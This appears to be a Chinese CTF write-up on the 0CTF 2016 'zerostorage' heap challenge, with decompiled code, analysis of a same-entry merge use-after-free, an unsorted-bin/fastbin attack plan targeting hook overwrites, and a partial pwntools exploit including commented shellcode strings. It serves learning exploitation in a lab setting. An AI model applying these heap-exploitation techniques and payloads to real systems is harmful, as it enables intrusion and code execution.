PWN January 03, 2020

0CTF复现zero

Words count 53k Reading time 48 mins. Read count 0

一、题目

zerostorage

前言:这道题是2016年的0CTF的一道pwn,带了点内核的考点在里面,主要是unsorted_bin的攻击。

1、分析保护机制
56768033107

保护全开,ida搞一波:

56768056173

初始化时有个随机数生成的函数,为后面的堆地址进行异或加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
init_0();
while ( 1 )
{
puts("== Zero Storage ==");
puts("1. Insert");
puts("2. Update");
puts("3. Merge");
puts("4. Delete");
puts("5. View");
puts("6. List");
puts("7. Exit");
puts("==================");
__printf_chk(1LL, "Your choice: ");
switch ( read_0() )
{
case 1u:
insert();
break;
case 2u:
update();
break;
case 3u:
merge();
break;
case 4u:
delete();
break;
case 5u:
view();
break;
case 6u:
list();
break;
case 7u:
puts("Bye");
return 0LL;
default:
puts("Invalid!");
break;
}
}
}

熟悉的菜单题,接着就是一步步分析代码找出漏洞点,这里提醒下自己,应该多做些难题,提升代码审计的能力,遇到很多很复杂的代码才不会慌。

先来看下insert(malloc):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int insert()
{
int number; // ebx
_DWORD *ptr; // rax
signed int size; // eax
const char *v3; // rdi
signed int size_1; // ebp
signed int size_2; // edi
__int64 chunk; // r13
__int64 v7; // r13
char *v8; // rax

number = 0;
ptr = &unk_203060;//指针存在bss段中
while ( *ptr )
{
++number;
ptr += 6;
if ( number == 32 )
{
v3 = "Unable to insert more entries.";
return puts(v3);
}
}
__printf_chk(1LL, "Length of new entry: ");
size = read_0();
v3 = "Invalid length!";
if ( size <= 0 )
return puts(v3);
size_1 = 0x1000;
size_2 = 0x80;
if ( size <= 0x1000 )
size_1 = size;
if ( size_1 >= 0x80 )
size_2 = size_1;
chunk = calloc(size_2, 1uLL); // 大于0x1000,申请得到是0x1000
// 0x80到0x1000之间,申请得到是0x80到0x1000之间
// 小于0x80,申请得到是0x80
if ( !chunk )
{
fwrite("Memory Error.\n", 1uLL, 0xEuLL, stderr);
exit(-1);
}
__printf_chk(1LL, "Enter your data: ");
read_data(chunk, size_1);
v7 = unk_203048 ^ chunk; //堆地址用随机数进行了异或加密
v8 = &unk_203060 + 0x18 * number; // 通过number(idx)来确定堆地址
*v8 = 1; //使用标志位
*(v8 + 1) = size_1; //输入的大小
*(v8 + 2) = v7; // chunk的地址
++num;
return __printf_chk(1LL, "New entry %d is successfully inserted.\n");
}

这里要知道一个知识点,calloc函数申请出来的内存会自动先清零,这样就几乎没有UAF的漏洞了。

因此可以整理出一个结构体:

56768069713

接着就是分析update函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int update()
{
unsigned int idx; // eax
__int64 v1; // rbp
char *v2; // r12
const char *v3; // rdi
signed int size; // eax
signed int v6; // er13
signed int v7; // esi
__int64 v8; // rax
__int64 chunk; // r14
char *v10; // rax

if ( !num )
return puts("No entries yet.");
__printf_chk(1LL, "Entry ID: ");
idx = read_0();
if ( idx > 31 || (v1 = idx, v2 = &unk_203060 + 24 * idx, *v2 != 1) )
{
v3 = "Invalid ID!";
return puts(v3);
}
__printf_chk(1LL, "Length of entry: ");
size = read_0();
if ( size <= 0 )
{
v3 = "Invalid length!";
return puts(v3);
}
v6 = 0x1000;
if ( size <= 0x1000 )
v6 = size;
v7 = 0x80;
LODWORD(v8) = 0x80;
if ( v6 >= 0x80 )
v7 = v6;
chunk = unk_203048 ^ *(v2 + 2);
if ( *(v2 + 1) >= 0x80uLL )
v8 = *(v2 + 1);
if ( v7 != v8 )
{
chunk = realloc((unk_203048 ^ *(v2 + 2)), v7);
if ( !chunk )
{
fwrite("Memory Error.\n", 1uLL, 0xEuLL, stderr);
exit(-1);
}
}
__printf_chk(1LL, "Enter your data: ");
read_data(chunk, v6);
v10 = &unk_203060 + 24 * v1;
*(v10 + 2) = unk_203048 ^ chunk;
*(v10 + 1) = v6;
return __printf_chk(1LL, "Entry %d is successfully updated.\n");
}

这里的update涉及到一个新知识,realloc(ptr,size)函数,扩展申请函数,按照size的不同,分为以下几种情况:

1、size是和原来的ptr相同时,则什么也不做

3、size大于原来的ptr的size时,后面有堆块隔着topchunk,就会重新申请一块size大小的堆块,然后把新的内容写进去,接着把ptr的堆块给释放掉,ptr的指针重新指向新的申请堆块的地址(没有堆块隔着topchunk时就会直接返回ptr,同时大小变为realloc中的size)

4、size小于ptr大小时,收缩堆块size为realloc中要求的size,有多的部分free掉

5、当size为0时,表示free(ptr),具体介意看源码分析

4、size为负数没卵用。。。别问了

接着就是输入数据,然后结构体的信息存储下

下面重点看下merge函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
int merge()
{
int idx; // ebx
_DWORD *v1; // rax
unsigned int idx1; // er12
char *chunk1; // r14
const char *v4; // rdi
unsigned int idx2; // eax
__int64 v7; // rcx
char *chunk2; // r8
unsigned __int64 chk1size; // rax
__int64 chk2size; // rdi
signed __int64 v11; // rdx
size_t v12; // rsi
unsigned __int64 Zsize; // r10
__int64 v14; // r11
char *chunk22; // r9
size_t v16; // rdx
__int64 dx2; // ST18_8
unsigned __int64 ZZsize; // ST10_8
char *ck1; // r13
unsigned __int64 chunk222; // ST08_8
__int64 v21; // rdi
char *newchunk; // rax
void *chunk1_1; // rdi
char *chk2; // rax
char *v25; // [rsp+0h] [rbp-50h]
unsigned __int64 v26; // [rsp+8h] [rbp-48h]
__int64 v27; // [rsp+10h] [rbp-40h]

if ( num <= 1uLL )
return puts("Not enough entries to merge.");
idx = 0;
v1 = &unk_203060;
while ( *v1 )
{
++idx;
v1 += 6;
if ( idx == 32 )
{
v4 = "Unable to insert more entries.";
return puts(v4);
}
}
__printf_chk(1LL, "Merge from Entry ID: ");
idx1 = read_0();
if ( idx1 > 0x1F
|| (chunk1 = &unk_203060 + 24 * idx1, *chunk1 != 1)
|| (__printf_chk(1LL, "Merge to Entry ID: "), idx2 = read_0(), idx2 > 0x1F)
|| (v7 = idx2, chunk2 = &unk_203060 + 24 * idx2, *chunk2 != 1) )
{
v4 = "Invalid ID!";
return puts(v4);
}
chk1size = *(chunk2 + 1);
chk2size = *(chunk1 + 1);
v11 = 0x80LL;
v12 = 0x80LL;
v25 = chunk2;
Zsize = chk2size + chk1size;
v14 = unk_203048;
if ( (chk2size + chk1size) >= 0x80 )
v12 = chk2size + chk1size;
chunk22 = (*(chunk2 + 2) ^ unk_203048);
if ( chk1size >= 0x80 )
v11 = *(chunk2 + 1);
if ( v12 == v11 )
{
v16 = *(chunk1 + 1);
}
else
{
v27 = v7;
v26 = chk2size + chk1size;
chunk22 = realloc((*(chunk2 + 2) ^ unk_203048), v12);
if ( !chunk22 )
{
fwrite("Memory Error.\n", 1uLL, 0xEuLL, stderr);
exit(-1);
}
v16 = *(chunk1 + 1);
Zsize = v26;
v14 = unk_203048;
chk1size = *(v25 + 1);
v7 = v27;
}
dx2 = v7;
ZZsize = Zsize;
ck1 = &unk_203060 + 24 * idx1;
chunk222 = chunk22;
memcpy(&chunk22[chk1size], (*(ck1 + 2) ^ v14), v16);// copy to together
v21 = unk_203048;
newchunk = &unk_203060 + 24 * idx; // 创建一个新的newchunk来记录合并后的信息,堆块地址取to的堆块地址,将from地址给free掉
*(newchunk + 2) = unk_203048 ^ chunk222;
chunk1_1 = (*(ck1 + 2) ^ v21);
*newchunk = 1;
*(newchunk + 1) = ZZsize;
*ck1 = 0;
*(ck1 + 1) = 0LL;
free(chunk1_1); // 先置为0,再free,ptr相同,有UAF漏洞
*(ck1 + 2) = 0LL;
chk2 = &unk_203060 + 24 * dx2;
*chk2 = 0;
*(chk2 + 1) = 0LL;
*(chk2 + 2) = 0LL; //这里没有free掉to的堆块,只是清空数据
--num;
return __printf_chk(1LL, "Entry %d is successfully merged to entry %d. New entry ID is %d.\n");
}

代码审计能力真的很重要,一个很重要的知识点和技巧就是熟练掌握重命名的方法(n),这样会让题目清晰很多,还有写结构体,理清楚逻辑,堆题一般都可以看懂,虽然不一定会做hhhhh

这里有个和明显的点,没有指明merge的两个堆块不能是同一个堆块,漏洞点就在这里,当两个堆块是同一个堆块时,大小必定相同,然后就会合并成一个新的堆块(相当于自我copy)

由于保留了to堆块的地址,free掉了from的地址,但是from和to是用同一个地址,漏洞出现!

我们可以读写free完了的数据,造成UAF漏洞,这里通过构造堆块布局,可以泄露出堆地址和真实地址

接着看free函数:

56768364692)常见的free功能,但是有UAF,但是用不了,因为重新calloc时,会自动清空原有的值(main_arena的地址)

再接着是打印函数:

56768372535

根据下标索引来确定地址,从而打印出里面的内容,可打印真实地址和heap地址

56768380127

用来看下idx

最后是有个exit函数

好了,以上分析完了,知道漏洞点在merge函数那里,也是重点分析的地方,下面讲解下思路

1、先堆块布局,然后利用merge相同块的UAF泄露出堆地址和真实地址

2、根据真实地址得到system、free_hook地址(开了got表可改)、程序基地址

3、因为程序只能申请unsorted_bin的大小,但是我们可以改free块的内容,也就是说可以改bk指针,就可以改变global_max_fast为main地址,实现unsorted_bin的attack

4、这样后面申请的堆块都是fastbin的堆块,也就是说可以伪造堆块任意地址写了。

5、改变free状态的fastbin的FD指针为我们的fake_chunk,通过不断申请得到fake_chunk,实现的正是任意地址写的操作。

6、要么是fake_chunk改malloc_hook为onegadget,要么house of spirit到bss段,然后改写那个堆地址为free_hook地址,接着再dpdate时就可以改free_hook为system,再free掉一个/bin/sh\x00的堆块既可getshell

*这里顺便也记录下realloc使用的技巧:

1
2
3
4
5
6
7
8
9
10
11
malloc(0,0x60)

malloc(1,0x60)

malloc(2,0x60)

remalloc(0,0x0) //相当于free(0)

free(1)

free(0)

这样就有double free的产生了,接着就任意地址写了。

这道题其实没有复现成功,因为我的环境是ubuntu16.04的,但是这题是14的,所以利用offset2libc我的不行。

讲解下offset2libc(内核部分):

这是一种可以绕过内存地址随机化的攻击方式,泄露出libc的真实地址后,offset2libc是程序基地址(0x7f开头的映射地址,映射的是0x55开头的地址)和libc的基地址之间的偏移,这个根据ubuntu版本和编译连接的顺序决定,我知道14版本的是0x5e4000,所以可以直接用。。。。

最后黏贴下我的半成品exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./zerostorage')
if local:
p = process('./zerostorage')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("Your choice: ")
sl('1')
ru("Length of new entry: ")
sl(str(size))
ru("Enter your data: ")
sl(content)
def update(index,size,content):
ru("Your choice: ")
sl('2')
ru("Entry ID: ")
sl(str(index))
ru("Length of entry: ")
sl(str(size))
ru("Enter your data: ")
sl(content)
def merge(idx1,idx2):
ru("Your choice: ")
sl('3')
ru("Merge from Entry ID: ")
sl(str(idx1))
ru("Merge to Entry ID: ")
sl(str(idx2))
def free(index):
ru("Your choice: ")
sl('4')
ru("Entry ID: ")
sl(str(index))
def view(index):
ru("Your choice: ")
sl('5')
ru("Entry ID: ")
sl(str(index))
def list():
ru("Your choice: ")
sl('6')
def exit():
ru("Your choice: ")
sl('7')
unk = 0xfaac901f2519a1e1
debug(0x000000000000139D)
malloc(0x8,'aaaaaaaa')#0
malloc(0x8,'bbbbbbbb')#1
malloc(0x8,'cccccccc')#2
malloc(0x8,'eeeeeeee')#3
malloc(0x8,'ffffffff')#4
malloc(0x68,'g'*0x68)#5
free(0)
merge(2,2)#0
view(0)
ru("Entry No.0:\n")
heap = u64(rc(8)[:-2].ljust(8,'\x00'))
print "heap--->" + hex(heap)
malloc_hook = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x10
print "malloc_hook--->" + hex(malloc_hook)
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
system = libc_base + libc.symbols["system"]
onegadget = libc_base + 0xf1147
# pie_addr = libc_base + 0x5e4000
free_hook = libc_base + libc.symbols["__free_hook"]
global_max_fast_addr = libc_base + 0x3c67f8
bss_addr = pie_addr + 0x203060

malloc(0x8,'zzzzzzzz')#6
py = ''
py += p64(0) + p64(global_max_fast_addr-0x10)
update(0,0x10,py)
malloc(0x8,'mmmmmmmm')#7

# merge(3,3)#7
# update(7,0x8,p64(malloc_hook-0x23))
# malloc(0x8,'ffffffff')#8
# py = 'a'*0x13 + p64(onegadget)
# malloc(0x68,py)#9

p.interactive()

这里计算那个全局变量global_max_fast时,利用的是固定偏移法,直接libc.symbols[“”]是找不到的。

gdb动态调试:telescope &(函数或者变量的名字)可以看真实地址以及里面的内容

telescope &global_max_fast

就会回显出全局变量的真实地址

0%